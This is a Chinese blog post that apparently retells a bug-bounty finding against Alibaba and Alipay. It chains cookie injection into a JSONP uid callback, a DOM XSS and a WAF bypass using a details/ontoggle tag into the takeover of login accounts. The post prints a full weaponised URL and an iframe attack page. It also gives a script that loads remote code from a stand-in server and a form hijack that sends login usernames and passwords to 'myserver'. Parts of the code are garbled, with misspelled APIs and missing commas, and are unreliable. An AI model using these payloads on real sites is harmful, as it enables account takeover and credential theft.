绕过阿里巴巴waf接管阿里体系下全部账户的权限

Admin 2020-04-27 125人围观 ,发现0个评论 阿里巴巴waf绕过Waf拿用户权限

前置知识

原因是alibaba.com上有一个关于hackerone的项目,对于外国人而言,奖励的范围非常大。 哈哈哈哈大范围的恐惧吓到了外国人。  

 

外国人说他们想从jsonp开始。 他说,一些jsonp和其他一些将操作cookie。 也许外国人非常担心cookie的传输安全性等。 毕竟,获取cookie基本上可以使您登录。该帐户是

 

 jsonp,因为它跨域加载,因此他将添加来自其他外部域的内容,这可能会带来一些安全问题。 以下是正常的jsonp请求过程

 

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第1张

根据RFC6265的规定,a.b.com可以设置具有.b.com或a.b.com属性的cookie密钥,并且访问b.com时自然会发送.b.com的cookie。  

 

简而言之:

 

非顶级域名,例如第二级域名或第三级域名,cookie的域只能是顶级域 名称,二级域名或三级域名本身,您不能为其他二级域名设置cookie,否则将无法生成cookie。  

 

顶级域名只能设置为顶级域名,不能设置为第二级或第三级域名,否则无法生成cookie。  

 

二级域名可以读取设置为顶级域名或顶级域名的cookie,而不能读取其他二级域名的cookie。 因此,如果cookie在多个第二级域名之间共享,则需要将domain设置为顶级域名,以便可以在所有第二级域名中获取此cookie的值。  

顶级域名只能获取其域名设置为顶级域名的cookie,而无法获取其他设置为第二级域名的域名。  

 

但是! 尽管我不明白我在说什么(*&……%¥%……&* 

 

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第2张

了解了cookie 的domain使用。接下来就要了解下jQuery等一些框架的dom操作,例如.val()方法,常见的一些框架都会有这样的dom操作方法,通过dom api快速获取一些html内容。

假设我们有这样的一段html代码:

1
<input id="input" value="&amp;&quot;" />

 我们在input里输入的是&amp;&quot; 

 这样的话,接下来的jquery 使用$.val()方法获取的结果是

1
2
$('#input').val() // return <strong>&"
</strong>

 嗯 就是那个    &"

了解上面几个前提知识后可以逐步开始了解这个漏洞的产生过程了。

但是阿里有waf。 嗯。。。 在这个过程中,老外发现了一个可以bypass阿里waf的方法。

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第3张

这个payload不会被拦截 或者跳转为其他的请求302 之类的。

根据实验,每个cookie对domain的设置是有限的,在google chrome浏览器下对同一个域名只能设置不超过150个的cookie值,firefox可以达到200个。具体的文档是http://browsercookielimits.squawky.net/

如果感兴趣的话可以尝试下下面的代码

1
2
3
4
for(var i=0;i<1000;i++){
    document.cookie=i+'=1;domain=.alipay.com'
}
document.cookie='uid=foo;domain=.alipay.com;path=/'

 正文开始

啊哦 ,在我翻译这个文章的时候老外的文章 对这个阿里的xss漏洞被干掉了,通过公关和谐了。。。嗯  没关系 我根据我当是阅读的时候理解重新讲述一下

  1. ynuf.alipay.com上有个uid,很多阿里下的域名或者内容都会加载这个 并且设置cookie值。

    1
    um.__idcb("5cb143654b94f4a5")
  2. 找到一个alipay.com下的任何一个xss

  3. 通过alipay.com的xss来覆盖你要攻击的域的cookie内容,例如login.alibaba.com就行了

这个uid的获取过程如下

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第4张

如果没有这个cookie 会从alipay去加载

第一次请求如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")

 

第二次请求和返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")

 第三次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")

 可以看出 第三次的时候,我们修改cookie的uid值,就可以注入恶意代码,所以我们拿到一个*.alipay.com下的一个xss就可以对这个cookie进行操作了。

所以根据cookie的domain设置规则,我们需要在.alipay.com下注入这个注入这个uid的xss 就可以让alipay.com下的全部子域名都感染这个xss。

1
uid=")+alert("xss;domain=.alipay.com

但是有个前提 我们先找个*.alipay.com下的xss。 然后作者在https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo找到了一个xss

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第5张

对其中的keyword参数注入了双引号进行测试。发现返回如下

 

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第6张

 

 也就是参数 foo"> 经过浏览器编码 变成foo%22%3e 然后到达服务端进行urldecode还原为foo">,再进行htmlencode为foo&quote;&gt; 然后返回

如下图

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第7张

 

 而这个doc.open.alipay.com下这个搜索结果的内容展示是通过dom生成的。。。。只要是htmlencode后的内容 通过dom生成 依然可以xss,这是前置知识里写的关于jquery之类的一些框架的val方法的原理。

那么现在的过程就是  foo">  先经过urldecode 然后经过htmlencode 然后再经过一定过滤。。。然后再输出

但是再fuzz的过程发现了一个比较严重的问题,那就是如下

绕过阿里巴巴waf接管阿里体系下全部账户的权限 Web安全 第8张

 

这个没过滤 导致  我们输入  ">%26gt;script%26lt;的时候, 经过urldecode后是">&gt;script&lt;

然后这个">&gt;script&lt;  返回后在经过前端框架的val处理 变成xss。

但是这个时候有个waf。。。发现了script关键词 估计就干掉了,代码中必须返http请求为200才可以正常加载,所以要找一个waf不会触发的xss 标签。

最后发现了<details/open/ontoggle=alert`1`>这个办法。

 

html5支持这样的解析方式。。。

好吧

最后就是

https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E

 最后我们来构造一下整个过程

构造一个sb.html页面 代码如下:

1
2
3
4
5
<html>
<ce
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>

 这个页面是个dom xss,并不是反射型的哦。这个页面会执行 覆盖cookie的操作,然后写入我们一个恶意的cookie值,这个cookie是一个js注入的代码,代码如下:

1
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""

 这个时候你再去访问login.alibaba.com, 当然 你先清除uid那个cookie ,服务器发现你没有uid这个cookie 会去加载上面这个cookie。上面的这个cookie会被文章最开始的um.__idcb("")+alert("Injected") 的一部分执行。也就是动态加载一个script标签咯。接下来这个动态加载的恶意标签中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
document.forms[0].on submit = function() {
    var u = document.getElementById('fm-login-id');
    var p = document.getElementById('fm-login-password');
    var s = new xmlHttpRequets();
    s.open('POST''https://myserver/xxx-alibaba/');
    s.setRequestHeader('Content-type''application/x-www-form-urlencoded');
    s.on readystatechange = function() {
        if (s.readState == 4) {
            document.forms[0].submit();
        }
    }
    s.send(`u=${u}&p=${p}`);
    return false;
}

 很简单,代码就是通过document.getElementById获取表单的值,然后通过xmlhttprequest对象发送到服务端

整个过程完成了。

 

哇塞 其实这是一个非常精彩的xss过程。帅气


请发表您的评论
请关注微信公众号
微信二维码
不容错过
Powered By 蚁人博客